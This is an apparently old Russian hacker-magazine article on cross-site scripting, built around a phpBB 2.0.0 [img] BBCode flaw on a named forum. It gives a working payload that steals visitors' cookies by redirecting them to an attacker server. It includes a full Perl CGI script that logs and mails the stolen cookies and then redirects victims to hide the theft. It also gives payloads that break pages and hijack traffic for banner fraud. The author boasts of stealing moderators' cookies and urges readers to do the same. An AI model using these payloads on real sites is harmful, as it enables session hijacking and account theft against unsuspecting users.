Все началось с того, что как-то зайдя на securitylab.ru
я увидел материал "Новости от Шушпанчика" примерно такого содержания:
Хак-группы (или security gr0upz ?) "Digital Hell" и "Spoofed Packet", более известные под именами "Xpaxo aka Xaksors Online" и "Fallout Team" - обе группы недавно переименовались - создали глобальный проект:
объединенный форум хакерских групп: http://secforum.net/
Здесь секьюрити эксперты из молодых хак-групп,
такие как Eraser, Spikir и DocSoft, могут обмениваться своими мнениями по самым различным вопросам,
связанным с их родом деятельности, например, написание бэкдора на Kylix и кто на чем кодит.
Наиболее активно обсуждается насущный вопрос, чья же пися все-таки самая длинная?
Помня о том, что Шушпанчик - это голова ((C)
Pupkin-Zade) решаю прогуляться по данному URL`у и посмотреть, чем народ нынче балуется…
Скажу, что форум мне не понравился сразу: работает глючно-преглючно, темы дурацкие (самые "крутые" темы в разделе coding: 'что лучше'и 'кто на чем кодит' 😉 и при всей этой ботве гордая надпись вверху страницы:
Security Forum
All about Russian security systems...
Вот такие дела… Плюнул я на этот этот URL и забыл о нем на время… И не вспомнил бы, если бы не пришла в голову мысль написать о
уязвимостях типа ХSS (cross-site scripting), которые сейчас являются абсолютными чемпионами по частоте появления в багтреке (проверь соответствующий раздел на Xakep.ru). Было ясно, что объяснять данную проблему 'на пальцах' было бы не круто - нужна была жертва, о выборе которой я даже не задумывался - http://secforum.net/ 😉
Что такое cross-site scripting? Это тип уязвимостей, позволяющий атакующему выполнять произвольный код (например Javascript), встроив его в свое сообщение на форуме, добавив в качестве аргумента для скрипта на сервере и т.д. XSS-уязвимости находят и в практически никому не известных форумах, и shopping cart`ах крупнейших магазинов, и в таких почтовиках как Hotmail… Иными словами потенциально уязвимы все скрипты/приложения, которые получают от пользователя какую-либо информацию.
Типичная уязвимость выглядит так:
http://www.microsoft.com/education/?ID=MCTN&target=
http://www.microsoft.com/education/?ID=MCTN&target=">
<script>alert(document.cookie)</script>
В результате в должны получить окошко, с содержимым вашего cookie (жаль на microsoft.com это уже пофиксено - такой хороший пример был 😉
Как свидетельствует статистика, XSS-дыры можно найти практически везде. Согреваемый этой мыслью, я отправился тестить http://secforum.net/ на дырявость… По правде говоря при первом посещении я даже не обратил внимание на чем там все крутится. Захожу - phpBB 2.0.0, довольно навороченный форум на php… Причем особенно меня порадовала 'навороченность' - где больше кода, там больше дырок %-)
Топаем в форму отправки сообщения и что же мы видим? Да тут используется супер разработка группы phpBB - Bbcode!!! Bbcode - это несколько обычных html-тегов у которых '<' и '>' заменены соответственно на '[' ']' Это дает возможность пользователям, к примеру посредством тега [img] добавлять в свое сообщение картинки (вернее ссылки на картинки по типу http://server.com/coolpicture). Этот тег мне не понравился сразу, начинаю с ним экспериментировать, а мой мыльник принимает свежую порцию багтрека… и тут я вижу такое… сообщение багтрека об уязвимости phpBB 2.0.0 (как раз той самой в которой я копаюсь). В голове проносится мысль из кинофильма: "Ничего красть не нужно, все уже украдено до нас". Уязвимость выглядит так:
[img]http://a.a/a"onerror="javascript:alert('fool')[/img]
Т.е. если отправить подобный 'сюрприз' в своем сообщении, то вместо картинки пользователь увидит окошко с очень обидным словом…
Что мы будем с этим делать? Ну, так как форум поддерживает всяческие там авторизации и автоматические входы, давай посмотрим как воровать кукисы пользователей. Делается это следующим образом:
[img]http://a.a/a"onerror="javascript:name='
http://твой_сервер/cgi-bin/script.cgi?';cook=document.cookie;
name=name+cook;document.location=name;[/img]
Объясняю тот Javascript, который здесь наворочен.
Создается две переменные: в одной находится путь к твоему серверу со скриптом для сбора кукисов (дальше объясню как написать этот скрипт), во второй - содержимое кукиса пользователя, затем эти две переменные объединяются, т.е. получается примерно следующее:
http://твой_сервер/cgi-bin/script.cgi?содежимое_кукиса
далее происходит перенаправление пользователя на это URL.
Теперь о том, как написать скрипт для сбора кукисов:
#!/usr/bin/perl
use CGI qw(:standard);
$cookie=$ENV{QUERY_STRING};
$file="cook.txt";
open (FILE, ">>$file");
print FILE "$cookie\n\n";
close(file);
$query = CGI::new();
print $query->redirect('http://secforum.net/forum/index.php');
$mailprog = '/usr/sbin/sendmail';
$mail='xakep@mail.ru';
$target='admin@secforum.net';
open (MAIL, "|$mailprog -t");
print MAIL "Content-Type: text/plain\n";
print MAIL "Subject: Fresh cookie\n";
print MAIL "To: $mail\n";
print MAIL "From: '.$target.'\n\n";
print MAIL "$cookie";
close (MAIL);
О том, как это работает. Когда пользователя редиректит на наш скрипт, то в качестве аргумента скрипту передается содержимое кукиса (часть URL`а после 'script.cgi?').
Это значение мы считываем с помощью $ENV{QUERY_STRING} и заботливо записываем в файл (кстати не забудь создать файл cook.txt), потом мы отправляем письмо с ворованным кукисом тебе любимому (если у тебя на хостинге нет возможности использования sendmail`а просто убери последние 9 строк скрипта). Далее мы маскируем свою деятельность перенаправляя пользователя на главную страницу форума. В результате невнимательный пользователь вообще ничего не поймет: шел читать сообщение, а попал на главную страницу…
Подобные шуточки были провернуты мною несколько раз и попадались на них… модераторы форума!!! Думаете после этого дыру закрыли? О нет! Кул-хаксоры просто удаляли мои сообщения!!! А я оставлял их снова и продолжал собирать урожай 'плюшек'. Конечно тут можно было пойти дальше и вникнув в алгоритм формирования плюшки захватить форум… но если бы ты знал каких трудов стоит хотя бы просто оставить сообщение на этом постоянно глючащем 'проекте о безопасности'… у меня иногда уходило по пол-часа даже на эту простейшую операцию, потому как сервер просто умирал и переставал отвечать…совсем…до следующего часа…
Поэтому, ничего особо не изменится, если мы оставим в своем сообщении к примеру такой 'сюрприз':
[img]http://a.a/a"onerror="javascript: open(window.location);[/img]
В результате, если кто-то пожелает просмотреть твое сообщение…то будет лицезреть лишь пустой экран серебристого цвета - страница вообще не загрузится 😉
Вот такие пироги… кстати если у тебя есть пага, которой не хватает баннерных показов - можешь топать на http://secforum.net/ и оставлять сообщение вроде:
Тема: подарю ICQ #666666
Содержание:
[img]http://a.a/a"onerror="javascript:document.location=
'http://твоя_пага_с_кучей_баннеров[/img]
Поверь, кулхаксоры очень любят шестизначные аськи на халяву…
Вот в принципе и все, что я хотел тебе рассказать об использовании cross-site scripting`а в своих целях. Возможно, знатоки Javascript могут придумать и более изощренные способы, если так - пишите. А пока желаю всем чужих кукисов, побольше баннерных показов и море хорошего настроения. А обитателям http://secforum.net/ волос без перхоти %-)